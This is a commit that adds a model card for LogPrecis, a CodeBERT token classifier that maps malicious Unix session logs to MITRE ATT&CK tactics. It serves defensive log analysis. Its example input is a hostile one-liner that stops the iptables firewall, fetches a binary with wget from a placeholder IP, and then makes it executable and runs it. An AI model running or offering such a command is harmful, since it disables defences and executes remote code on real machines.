Create README.md

README.md

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+[LogPrecis](https://arxiv.org/abs/2307.08309) is a [Codebert](microsoft/codebert-base) model fine-tuned for **Token Classification**. 
+
+The model was previously domain-adapted using a corpus of **>20k Unix sessions**.
+
+Specifically, LogPrecis is designed for the analysis of **malicious Unix logs**. Given as input a Unix session:
+
+```shell
+etc/init.d/iptables stop ; wget –c http://10.10.10.10:8080/exec ; chmod 777 exec ; ./exec ;
+```
+
+LogPrecis outputs the sequence of [Mitre Tactics](https://attack.mitre.org/tactics/enterprise/):
+
+`Impact x 3 -- Execution x 10`
+
+LogPrecis achieved a **91.2% accuracy** on the test set. Its training code and data are available [here](https://github.com/SmartData-Polito/logprecis). 
+
+---
+metrics:
+- accuracy
+- rouge
+pipeline_tag: token-classification
+---